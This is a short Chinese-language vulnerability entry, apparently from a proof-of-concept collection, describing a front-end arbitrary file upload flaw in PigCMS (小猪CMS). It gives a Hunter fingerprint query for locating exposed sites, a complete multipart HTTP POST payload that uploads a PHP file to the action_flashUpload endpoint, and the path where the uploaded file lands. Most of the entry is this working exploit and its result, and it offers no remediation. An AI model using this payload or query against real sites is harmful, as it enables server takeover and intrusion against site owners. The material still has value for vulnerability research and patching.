P2-2PigCMS-小猪CMS-文件上传

漏洞描述：

PigCms（又称小猪CMS）是一个基于php+mysql的多用户微信营销系统，是国内使用较多、功能强大、性能稳定的多用户微信营销系统。PigCms存在一处前台任意文件上传漏洞，攻击者可以通过该漏洞进行任意文件上传，从而获取网站权限。

网站图片：

网络测绘：

Hunter 语法：

- hunterweb.body="/tpl/Home/pigcms/common/js/daohang.js"

漏洞复现：

payload：

```
POST /cms/manage/admin.php?m=manage&c=background&a=action_flashUpload HTTP/1.1
Host: xx.xx.xx.xx
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----aaa

------aaa
Content-Disposition: form-data; name="filePath"; filename="test.php"
Content-Type: video/x-flv

<?php phpinfo();?>
------aaa
```

效果图:

上传文件位置

```
/cms/upload/images/2023/11/11/1699633023MuDd.php
```